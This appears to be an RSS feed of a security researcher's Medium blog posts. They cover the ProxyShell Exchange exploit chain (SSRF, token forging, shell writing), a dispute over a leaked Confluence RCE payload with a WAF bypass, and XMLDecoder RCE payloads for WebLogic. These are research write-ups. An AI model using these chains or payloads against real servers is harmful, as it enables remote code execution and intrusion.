href="https://medium.com/media/22fe53389302e744065a41483e54a0cf/href">https://medium.com/media/22fe53389302e744065a41483e54a0cf/href</a></iframe><h3><strong>Kết</strong></h3><p>Trong quá trình làm Oracle BI mình đã gain được nhiều thứ ngoài 2 bug trên, nhưng lại cảm giác không happy bằng việc phân tích/ dev exploit / improve exploit vì nó mang lại cảm giác bạn làm được một cái gì đó mà ít người làm được hơn ( ͡° ͜ʖ ͡°). Hy vọng mình sẽ có những findings mới mẻ hơn sau này. Cảm ơn các bạn đã đọc đến đây !</p><p><strong>PoC CVE-2021–2456</strong>: <a href="https://github.com/peterjson31337/CVE-2021-2456">https://github.com/peterjson31337/CVE-2021-2456</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bcf8206c5e89" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Atlassian Confluence CVE-2021–26084]::: The other side of bug report!]]></title>
            <link>https://medium.com/tradahacking/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6?source=rss-9d0bc610db35------2</link>
            <guid isPermaLink="false">https://medium.com/p/45ed19c814f6</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[vmware]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[other]]></category>
            <category><![CDATA[confluence]]></category>
            <dc:creator><![CDATA[Peterjson]]></dc:creator>
            <pubDate>Tue, 07 Sep 2021 09:38:25 GMT</pubDate>
            <atom:updated>2021-09-08T06:13:26.552Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong>tl;dr <br></strong>A <a href="https://github.com/projectdiscovery/nuclei-templates/pull/2529/commits/f1f5add7971078c239c9862c361f834fa9bdbb61">pull request</a> for Nuclei template of <a href="https://jira.atlassian.com/browse/CONFSERVER-67940">CVE-2021–26084</a> turned out to be a leak of our Pre-Auth RCE exploit payload for Atlassian Confluence that had been provided to VMWare.</blockquote><p>When CVE-2021–26084 advisory came out, our team as usual tried to reproduce the bug with a reliable exploit. I noticed that <a href="https://twitter.com/iamnoooob">iamnoooob</a> and <a href="https://twitter.com/rootxharsh">rootxharsh</a> finished the PoC for CVE-2021–26084 on <a href="https://twitter.com/iamnoooob/status/1431739398782025728">Aug 29</a> but no PoC was released. I and <a href="https://medium.com/u/6ac51190917c">Jang</a> finished the exploit on <a href="https://twitter.com/testanull/status/1432656820829507585">Aug 31</a> and at this time, no PoC was public on the internet and most people still believed Atlassian that this is a <a href="https://jira.atlassian.com/browse/CONFSERVER-67940">Post-Auth RCE </a>bug. However, we figured out that it’s totally Pre-Auth RCE instead, and a lot of confluence instances were still vulnerable at that time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J8DiwR0gbKU68uv-niPZNw.png" /><figcaption>Atlassian has updated the bug report 4 days ago on Sept 04 from “authenticated” (or unauthenticated if ‘Allow people to sign up to create their account’ is enabled) to “unauthenticated” after the exploit has been made public <a href="https://jira.atlassian.com/browse/CONFSERVER-67940">https://jira.atlassian.com/browse/CONFSERVER-67940</a></figcaption></figure><p>One of my teammates noticed that <strong>confluence.eng.vmware.com </strong>was vulnerable but our exploit failed due to their WAF rules. After modifying our payload to bypass the WAF, we managed to exploit it successfully and send an email to <a href="https://hackerone.com/vmware?type=team">VMWare</a> at <a href="/service/mailto:security@vmware.com">security@vmware.com</a> to report the issue.</p><p>17 hours after our first report to VMWare, there was a guy called <a href="https://twitter.com/DhiyaneshDK"><strong>Dhiyaneshwaran</strong></a><strong> </strong>had pulled a request <a href="https://github.com/projectdiscovery/nuclei-templates/pull/2529/commits/f1f5add7971078c239c9862c361f834fa9bdbb61">template for CVE-2021–26084</a> on Nuclei project github (<a href="https://github.com/projectdiscovery/nuclei">Nuclei</a> is vulnerability scanner of <a href="https://projectdiscovery.io/#/">Project Discovery</a>) with the detect payload 100% identical to the specifically crafted exploit payload that we sent to VMWare.</p><p>Timeline of the whole story</p><p>1.We first sent to Vmware on <strong>Aug 31, 10:39 AM (GMT+7) </strong>with a full Pre-Auth RCE exploit payload, specifically crafted to bypass their WAF</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q2lnMjvEDJLMKQm0zYCuaw.png" /><figcaption>The first email sent to VMware on Aug 31, 10:39AM</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U3sKqZ3rzcpW5dX8dGzCLg.png" /><figcaption>The first response from VMware on Aug 31, 08:51PM</figcaption></figure><p>2. On <strong>Sept 1st, 3:44 AM (GMT+7) </strong>there was a guy called <a href="https://twitter.com/DhiyaneshDK"><strong>Dhiyaneshwaran</strong></a><strong> </strong>who pulled a request <a href="https://github.com/projectdiscovery/nuclei-templates/pull/2529/commits/f1f5add7971078c239c9862c361f834fa9bdbb61">template for CVE-2021–26084</a> on Nuclei project’s github with the detect payload 100% identical (look at the query &amp; headers!!) (** <em>no PoC was public on the internet at this time)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2NJFNBitNcffJVMJcvd2gw.png" /><figcaption><a href="https://github.com/projectdiscovery/nuclei-templates/pull/2529/commits/f1f5add7971078c239c9862c361f834fa9bdbb61">https://github.com/projectdiscovery/nuclei-templates/pull/2529/commits/f1f5add7971078c239c9862c361f834fa9bdbb61</a></figcaption></figure><p>3. A few hours after our exploit got into the public via Nuclei’s github, on <strong>Sept 1st, 05:22 AM</strong>, <a href="https://twitter.com/iamnoooob">iamnoooob</a> and <a href="https://twitter.com/rootxharsh">rootxharsh</a> published their <a href="https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md">write-up</a> and their exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*37nVRbjJrBqUAcezsbUhnQ.png" /></figure><p>Later, Nuclei’s maintainer had <a href="https://github.com/projectdiscovery/nuclei-templates/commit/38b456eb346de223ed2175736759cd5fc46172b1#diff-79fe4e26d77eb2d49c27df23a6600f143bfbbb368201d310ed11950d2ca5dc02">modified the template for CVE-2021–26084</a> to remove our exploit payload after we sent them a message asking for the source of information.</p><p>In the next section, we will compare our exploit payload which was sent to VMWare v.s the pull request on Nuclei. We will also explain how the original payload was specifically crafted for just only VMWare’s target endpoint to prove our belief that it was leaked from VMWare.</p><p>1. Query and headers are identical between the payload we sent to VMWare and the Nuclei’s template. Notice the identical <em>JSESSIONID</em><strong>, </strong>dummy string<strong> </strong><em>aaaaaaaa</em><strong>, </strong><em>SpaceKey=x</em>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_-6DI-a2dP8ByAedLLIwaQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hfdzCAfXl63xCIGOQGq-pQ.png" /><figcaption>The two payloads are identical</figcaption></figure><p>2. Because confluence.eng.vmware.com is an old version, we had to add SpaceKey=x to reach the vulnerable endpoint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FzEGf5lquJN-OMMYtfcdmw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c05yAtilhcZ5vRpQegW_nw.png" /><figcaption>adding SpaceKey variable to reach the endpoint</figcaption></figure><p>3. If the exploit contains the keyword “eval”, their WAF, AkamaiGhost, would block the request so we had to bypass with “\u0065val”. If you work on this bug, you will know that we can escape strings with Unicode value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7GJ1PFPLM0jhugTkGKkKig.png" /></figure><p>In summary, as the exploit payload we sent to VMWare was specifically crafted for their server and we did not use this payload on any other target and/or sending it to any other companies/bug bounty programs, it’s very clear to us that our payload somehow was leaked from VMWare to the Nuclei project.</p><p>After realized that our exploit was leaked, we asked VMWare for an explanation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KX5qneohqBWOZg2pByqL2Q.png" /></figure><p>And this is their response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wejKsNhsfjRNlB3fpg_vew.png" /></figure><p>We think that the response from VMWare is nonsense because</p><ul><li><a href="https://twitter.com/iamnoooob">iamnoooob</a> and <a href="https://twitter.com/rootxharsh">rootxharsh</a>’s writeup was publised after the leak of our payload.</li><li>Our exploit payload was different from <a href="https://twitter.com/iamnoooob">iamnoooob</a> and <a href="https://twitter.com/rootxharsh">rootxharsh</a>’s public exploit.</li><li>Our exploit payload was specifically crafted for VMWare’s server target, and the leaked payload is identical to our payload.</li></ul><p>The exploit we sent to VMWare is our copyright property and we did not grant VMWare the right to re-distribute it. We would like to get more explanation from VMWare but they have stopped replying to our emails, refused to admit the leak, and ignored us. Hence, we decided to write this blog.</p><p>— cheers</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=45ed19c814f6" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tradahacking/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6">[Atlassian Confluence CVE-2021–26084]::: The other side of bug report!</a> was originally published in <a href="https://medium.com/tradahacking">tradahacking</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reproducing The ProxyShell Pwn2Own Exploit]]></title>
            <link>https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1?source=rss-9d0bc610db35------2</link>
            <guid isPermaLink="false">https://medium.com/p/49743a4ea9a1</guid>
            <category><![CDATA[pwn2own]]></category>
            <category><![CDATA[reproduce]]></category>
            <category><![CDATA[proxy]]></category>
            <category><![CDATA[exchange]]></category>
            <category><![CDATA[rce]]></category>
            <dc:creator><![CDATA[Peterjson]]></dc:creator>
            <pubDate>Fri, 06 Aug 2021 10:24:02 GMT</pubDate>
            <atom:updated>2021-08-08T03:40:42.765Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>INTRO</strong></h3><p>I and <a href="https://medium.com/u/6ac51190917c">Jang</a> recently successfully reproduced the ProxyShell Pwn2Own Exploit of Orange Tsai 🍊. Firstly, I just want to tell that I respect your hard work and the contribution of you to cybersecurity which inspired me many years ago. Now I want to summary the progress when we reproduce this Exploit chain as a write-up for our-self. When ZDI release the advisories about these bug, I decided to analysis this chain for learning purpose. We can almost finished the chain before the BlackHat US talk’s of Orange and then we found an missing piece when Orange’s talk finished. So this write-up as an progress of 1-day analysis, we diff the patch, and solved the puzzle step by step. For those who never seen Orange’s talk, you can check it <a href="https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf?fbclid=IwAR2V0-4k2yb8dmPP5Mksd8iHYTOfE6sBwygMt4wjq3M9be8Tw6TlH0andhA">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rknHOhS1-WZlR7xiCmMeOQ.png" /><figcaption><a href="https://www.zerodayinitiative.com/advisories/published/">https://www.zerodayinitiative.com/advisories/published/</a></figcaption></figure><p>With these advisories, we can imagine that this chain maybe similar to ProxyLogon chain</p><ol><li><strong>pre-auth SSRF</strong></li><li><strong>somehow we can SSRF to /powershell endpoint</strong></li><li><strong>finally calling cmdlets for post-auth RCE</strong></li></ol><h3>ProxyLogon revisited</h3><p>For each front-end endpoint like <em>/ecp/, /owa/, /autodiscover/ , /powershell/</em> and so on, there’s a class implement <em>Microsoft.Exchange.HttpProxy.ProxyRequestHandler</em> . We already know that from ProxyLogon <a href="https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265">analysis</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XMiC22dBscw36tbbxloXQw.png" /><figcaption><strong>ProxyLogon entry</strong></figcaption></figure><p>From ProxyLogon, we know that we can set <em>AnchoredRoutingTarget</em> variable from “<em>X-BEResource</em>”, then Exchange when calculate the target backend URL to request internal we can reach internal endpoint we overwrite it and we have SSRF</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lsj0l1Ut_tf-PYMAYaqVYw.png" /><figcaption><strong>ProxyRequestHandler.GetTargetBackEndServerUrl()</strong></figcaption></figure><h3><strong>Autodiscover Pre-auth SSRF</strong></h3><p>With the information from ZDI, pre-auth SSRF come from autodiscover service so we find some class which implement “<em>Microsoft.Exchange.HttpProxy.ProxyRequestHandler</em>” and allow for unauthenticated</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yrvn4sKSyLFtI8hqlTCOhQ.png" /><figcaption><strong>Microsoft.Exchange.HttpProxy.AutodiscoverProxyRequestHandler</strong></figcaption></figure><pre>AutodiscoverProxyRequestHandler <br> =&gt; implement EwsAutodiscoverProxyRequestHandler<br>  =&gt; implement BEServerCookieProxyRequestHandler<br>   =&gt; implement ProxyRequestHandler</pre><p>And “/autodiscover” also allow for unauthenticated</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KU9oFvDZ49ygd4TLe3UWIQ.png" /><figcaption><strong>ProxyModule.SelectHandlerForUnauthenticatedRequest()</strong></figcaption></figure><p>With these information, we sure that this is what need need to focus on. Look back at the point we SSRF came from.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lsj0l1Ut_tf-PYMAYaqVYw.png" /><figcaption><strong>ProxyRequestHandler.GetTargetBackEndServerUrl()</strong></figcaption></figure><p>After ProxyLogon patch, there’s a check for <em>AnchoredRoutingTarget</em> variable, so we somehow can successfully change it again like ProxyLogon, we will got 503 , don’t know why? check <a href="https://testbnull.medium.com/microsoft-exchange-from-deserialization-to-post-auth-rce-cve-2021-28482-e713001d915f">here</a></p><p><em>ProxyRequestHandler.GetTargetBackEndServerUrl()</em> will return the URI after finish calculate, we cannot abuse <em>AnchoredRoutingTarget </em>anymore, how about GetClientUrlForProxy() ? Then control our URI and send into backend, sound interesting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JbK6AoTnQTZD90cH9qeKpw.png" /><figcaption><strong>checking FQDN after ProxyLogon</strong></figcaption></figure><p>This is what we need to looking for, if our request IsAutodiscoverV2Request(), it will remove the “explicitLogonAddress” from URI and rebuild the URI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EV7krAL4N5bGYXO0C-kqDQ.png" /><figcaption><strong>EwsAutodiscoverProxyRequestHandler.GetClientUrlForProxy()</strong></figcaption></figure><p>How can we set explicitLogonAddress variable from our request?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WAjvFbsNjCtAxx4O-aC6Nw.png" /></figure><p>Notice that, Params variable contains parameters from query string, form parameter, cookies, …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*1zSbigFftBY62VpeLIfL7A.png" /></figure><p>We need to pass some conditions</p><ol><li>We want to reach the if statement so <em>IsAutodiscoverV2Request()</em> must return <strong><em>False</em></strong> and <em>IsAutodiscoverV2PreviewRequest()</em> return <strong><em>False</em></strong> also</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hF3qXzdsjmo9MUgUZhzcGg.png" /><figcaption>Focus that this is AbsoluteUri not AbsolutePath</figcaption></figure><p>Because <em>IsAutodiscoverV2PreviewRequest() </em>check <em>EndsWith(“/autodiscover.json”)</em> and the <strong><em>path</em></strong> variable is <strong><em>AbsoluteUri</em></strong> we can make it return <strong><em>False</em></strong> like</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*buuBhgtNZkzgtKCpJW3X0A.png" /><figcaption><strong>So it is /autodiscover/autodiscover.json + dummy string</strong></figcaption></figure><p>2. <strong><em>explicitLogonAddress</em></strong> must contains valid email address</p><p>So it is “/autodiscover/autodiscover.json?a=dummy@dummy.pw” (in order to help us can reach the if statement which will return <strong><em>False</em></strong> and <strong><em>remove explicitLogon </em></strong>) and then we set this value into Email Cookie with the same value</p><p>3. When preparing request to send to backend internal, Exchange will generate Kerberos auth header and attach into Authorization header. This is why we can reach some other endpoint without any authentication</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YjZx63nzyGy_SZcGF0idSQ.png" /><figcaption><strong>PrepareServerRequest()</strong></figcaption></figure><p>Chaining into together we have an pre-auth SSRF</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TFIo7i2HP9LNc3DshlqFvg.png" /><figcaption><strong>SSRF with system privilege</strong></figcaption></figure><h3>Pre-auth SSRF into /powershell</h3><p>The next bug we need to looking for is SSRF into “/powershell endpoint”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fPX-yaYD75OASzoZWoosjQ.png" /><figcaption><strong>We don’t have permission on this endpoint :(</strong></figcaption></figure><p>Always remember one think, you should understand on what you are looking while doing 1-day anlysis. IIS has some modules on each web application, they are excuted before the actual handler executed. You can imagine they’re like “filter” mechanism on Java web apps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x9hiY17BRlLiWFkPcV-s4A.png" /><figcaption><strong>Powershell-Proxy IIS modules</strong></figcaption></figure><p>We need to look at each module to see what we have missed. On BackendRehydrationModule when process the request, this module cannot get CommonAccessToken (from Exchange SSRF) there will be an exception and we cannot go through.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I8oHjqiBYbCDBKuc6WSTHQ.png" /><figcaption><strong>BackendRehydrationModule.OnAuthenticateRequest()</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cfClZ3Oc9tGNAPcWqraVgA.png" /><figcaption><strong>BackendRehydrationModule.ProcessRequest()</strong></figcaption></figure><p>So how can we set the header “X-CommonAccessToken” because we cannot make Exchange copy it to SSRF request and send to “/powershell”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WFmnCpWfBQaMv3TUcxorBw.png" /><figcaption><strong>some blacklist cookies Exchange won’t copy to internal</strong></figcaption></figure><p>Before BackendRehydrationModule executed, there’s RemotePowershellBackendCmdletProxyModule</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A8fjbV-IWw3wGh5ddbIb1A.png" /><figcaption><strong>fetch CommonAccessToken from “X-Rps-CAT”</strong></figcaption></figure><p>Basically, when the SSRF doesn’t contain Header “X-CommonAccessToken” Exchange try to fetch the value of param “X-Rps-CAT” and then deserialize our controlled data to create an valid CommonAccessToken. Then at BackendRehydrationModule we will survive from the Exception. But how can we create a valid CommonAccessToken or maybe high privilege CommonAccessToken? We need to reverse the structure of CommonAccessToken</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZihupnKaJmXfzIe6Ztp2LA.png" /><figcaption>deserialize “X-Rps-CAT” into CommonAccessToken</figcaption></figure><pre>V + version + T + type + C + compress + data<br>if compress =&gt; decompress then if type is Windows</pre><p>This is pseudocode I make for CommonAccessToken, if the token type is “Windows”, Exchange continue deserialise our data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OkJ75ORYngE7wRfCk4JNQw.png" /><figcaption><strong>WindowsAccessToken</strong></figcaption></figure><pre>A + authenType + L + logonName + U + user SUID<br>read group SUIDs<br>G + groupLength + SUIDs of group</pre><p>At this point, I setup socat, change internal Exchange port from 444 to 4443, using socat listening on port 444, then redirect to BurpSuite port (8080) and finally foward into 4443. With this setup, we can capture a “sample” CommonAccessToken format and then crafting a suitable one.</p><p>How can you get a valid user SUID without exist user on Exchange? When deploying Exchange, there are some “always exist” mailbox such as</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e8_mFX2ypiGYAsQ3m3R0Og.png" /><figcaption><a href="https://docs.microsoft.com/en-us/exchange/architecture/mailbox-servers/recreate-arbitration-mailboxes?view=exchserver-2019">https://docs.microsoft.com/en-us/exchange/architecture/mailbox-servers/recreate-arbitration-mailboxes?view=exchserver-2019</a></figcaption></figure><p>Like ProxyLogon we can easily got SUID of this user “<strong>SystemMailbox{bb558c35–97f1–4cb9–8ff7-d53741dc928c}</strong>” with this flow</p><ol><li>SSRF to “/autodiscover/autodiscover.xml”</li><li>Leaking user SUID via “/mapi/emsmdb”</li></ol><p>Now we got SUID, but how about group SUIDs? Check out this cmdlet</p><pre>Get-Group | Format-List Identity,Sid</pre><p>Now, we can craft an admin privilege CommonAccessToken via “X-Rps-CAT” parameter.</p><h3>New-MailboxExportRequest arbitrary file write</h3><p>From MS docs, this cmdlet can export the mailbox into arbitrary location. This mean we can write our shell into web root of Exchange and archive RCE?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n0kAGVWmkskyasqtAf6vOQ.png" /><figcaption><a href="https://docs.microsoft.com/en-us/powershell/module/exchange/new-mailboxexportrequest?view=exchange-ps">https://docs.microsoft.com/en-us/powershell/module/exchange/new-mailboxexportrequest?view=exchange-ps</a></figcaption></figure><p>We can confirm it again, because the patch only allow some specific extension</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eScOoyQNs1SRPvJhuuY9XQ.png" /></figure><p>But how can we control the data in the mailbox and make it into shell after the file was exported? This is what we got stuck for a long time until Orange’s talk appear.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J1wSwAk987www3kPFVmX_A.png" /><figcaption><a href="https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf?fbclid=IwAR2V0-4k2yb8dmPP5Mksd8iHYTOfE6sBwygMt4wjq3M9be8Tw6TlH0andhA">https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf?fbclid=IwAR2V0-4k2yb8dmPP5Mksd8iHYTOfE6sBwygMt4wjq3M9be8Tw6TlH0andhA</a></figcaption></figure><p>Looking back into MS documents, <a href="https://medium.com/u/6ac51190917c">Jang</a> found this one which help us successfully write shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dldlmmeTtg0FrFBJT-d0IQ.png" /><figcaption><a href="https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-pst/5faf4800-645d-49d1-9457-2ac40eb467bd">https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-pst/5faf4800-645d-49d1-9457-2ac40eb467bd</a></figcaption></figure><p>But how can we put our shell into the mailbox and then export it as our shell?</p><p>EWS will save us, EWS (<strong>/ews/exchange.asmx</strong>) is a service based on SOAP which help us can create mail, event, meeting, …</p><p>We can create an email saved in “drafts” for any user via SOAP header “SerializedSecurityContext”- this called <a href="https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/impersonation-and-ews-in-exchange">EWS Impersonation</a> . Then injecting our “encoded” shell as an attachment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7RGQyewT8ZH6XhNfWTi30g.png" /></figure><h3><strong>Channing all together</strong></h3><p>Now, we have every thing for this chain, the only thing we need to do is implement an WinRM protocol for the Pre-auth SSRF to comunicate with “/powershell” endpoint. I leave this as an lesson for reader and hopefully you should reproduce this bug by yourself because it help you learn many things.</p><p>For myself, I use <a href="https://github.com/jborean93/pypsrp">pypsrp</a> then collect the data while it processing and plug it into our SSRF. To understand more about WinRM you can check this <a href="https://www.bloggingforlogging.com/2018/08/14/powershell-remoting-on-python/">awesome blog</a></p><p>Or you can do the same with <a href="https://www.youtube.com/watch?v=FC6iHw258RI">Orange’s way</a>, implement his own proxy to communicate with WinRM</p><h3><strong>Our demonstration:</strong></h3><p><a href="https://www.youtube.com/watch?v=LbIYPFrltdA">https://www.youtube.com/watch?v=LbIYPFrltdA</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FLbIYPFrltdA&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DLbIYPFrltdA&amp;image=http%3A%2F%2Fi.ytimg.com%2Fvi%2FLbIYPFrltdA%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/e2d8033ad79d0402818180584e4448c8/href">https://medium.com/media/e2d8033ad79d0402818180584e4448c8/href</a></iframe><p>Thanks everyone for reading to the end. Hopefully everyone stay safe during the Covid-19 pandemic recently at VietNam . Have a nice weekend !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49743a4ea9a1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2019–2725 Revisited]]></title>
            <link>https://medium.com/tradahacking/cve-2019-2725-revisited-14600c0e4018?source=rss-9d0bc610db35------2</link>
            <guid isPermaLink="false">https://medium.com/p/14600c0e4018</guid>
            <category><![CDATA[weblogic]]></category>
            <category><![CDATA[deserialize]]></category>
            <category><![CDATA[xmldecoder]]></category>
            <category><![CDATA[cve-2019-2725]]></category>
            <category><![CDATA[revisited]]></category>
            <dc:creator><![CDATA[Peterjson]]></dc:creator>
            <pubDate>Sat, 20 Feb 2021 05:01:59 GMT</pubDate>
            <atom:updated>2021-02-20T05:01:59.113Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*J9ORYWOjVh3quJ2aMLWirQ.png" /><figcaption>challenge accepted :D</figcaption></figure><h3><strong>INTRO</strong></h3><p>Hi guys! Lần này mình sẽ mang tới cho các bạn 1 case mình thấy khá là hay ho nên muốn viết write-up chia sẻ về case này. Context của target mình gặp phải là một site dính CVE-2019–2725 NHƯNG</p><ul><li>Weblogic version 12.1.3.0.0</li><li>target này không có bất kỳ outbound connection connect được ra ngoài</li><li>được config reverse proxy qua IIS</li><li>giả sử có thể chạy được command blind nhưng cũng không biết webroot hoặc webroot không có quyền write</li></ul><p>Bài blog này mình sẽ trình bày về quá trình mình tiếp cận và tìm ra một cách exploit khác cho bug này, phù hợp hơn với những case mà env được config khá là kĩ và cũng không đi sâu chi tiết phân tích về bug này nữa!</p><h3><strong>APPROACH</strong></h3><p>Đầu tiên, mình nghĩ đến 1 bug đình đám qua HTTP gần đây của <a href="https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf">Weblogic,</a> do đợt này mình làm cùng anh <a href="https://medium.com/u/6ac51190917c">Jang</a> nên cũng có PoC và nắm rõ workflow. PoC này thì chỉ cần 1 GET request là RCE và response qua HTTP Response rồi, nhưng vẫn fail. Mình nghĩ có thể là do việc setup reverse proxy qua IIS nên mình gặp vấn đề về encode. Mình cũng đã dựng lại env mà test thử PoC nhưng chợt nhận ra class <strong><em>ShellSession không tồn tại trong classpath của version 12.1.3.0.0 </em></strong>nên cách tiếp cận này mình sẽ bỏ qua</p><h3><strong>CVE-2019–2725</strong></h3><p>Bài blog này phân tích khá chi tiết về bug các bạn có thể xem qua tại đây</p><p><a href="https://medium.com/@knownsec404team/weblogic-rce-cve-2019-2725-debug-diary-bb5b3b8b9e6">WebLogic RCE (CVE-2019–2725) Debug Diary</a></p><p>Hoặc</p><p><a href="https://hu3sky.github.io/2019/10/16/weblogic/">WebLogic-XMLDecoder反序列化分析</a></p><p>Bug XmlDecoder này của Weblogic có thể tóm tắt lại như hình sau</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*c9u3Qoh1M73OOnwS" /></figure><p>Kể từ sau CVE-2017–10271 Weblogic đã patch cho validate trước khi XMLDecoder như sau</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/9c1c7fae5e942abd75823f9ff0d6da67/href">https://medium.com/media/9c1c7fae5e942abd75823f9ff0d6da67/href</a></iframe><p>và CVE-2019–2725 sử dụng &lt;class&gt; tag để instantiate một class nào đó (sound like Weblogic GET request RCE :D). Đây là 1 payload ví dụ, điều này có nghĩa là bất kỳ class nào có public constructor và args phù hợp ta có thể sử dụng tiếp để đi tới những sink khác.</p><pre>&lt;java&gt;<br>    &lt;class&gt;<br>        &lt;string&gt;java.net.Socket&lt;/string&gt;<br>        &lt;void&gt;<br>            &lt;string&gt;ahihi.peterjson.pw&lt;/string&gt;<br>            &lt;int&gt;80&lt;/int&gt;<br>        &lt;/void&gt;<br>    &lt;/class&gt;<br>&lt;/java&gt;</pre><h3><strong>Building the exploit</strong></h3><p>Đây là payload CVE-2017–10271</p><pre>&lt;java class=&quot;java.beans.XMLDecoder&quot;&gt;<br>    &lt;void class=&quot;java.lang.ProcessBuilder&quot;&gt;<br>        &lt;array class=&quot;java.lang.String&quot; length=&quot;3&quot;&gt;<br>            &lt;void index=&quot;0&quot;&gt;<br>                &lt;string&gt;powershell.exe&lt;/string&gt;<br>            &lt;/void&gt;<br>            &lt;void index=&quot;1&quot;&gt;<br>                &lt;string&gt;/c&lt;/string&gt;<br>            &lt;/void&gt;<br>            &lt;void index=&quot;2&quot;&gt;<br>                &lt;string&gt;calc.exe&lt;/string&gt;<br>            &lt;/void&gt;<br>        &lt;/array&gt;<br>        &lt;void 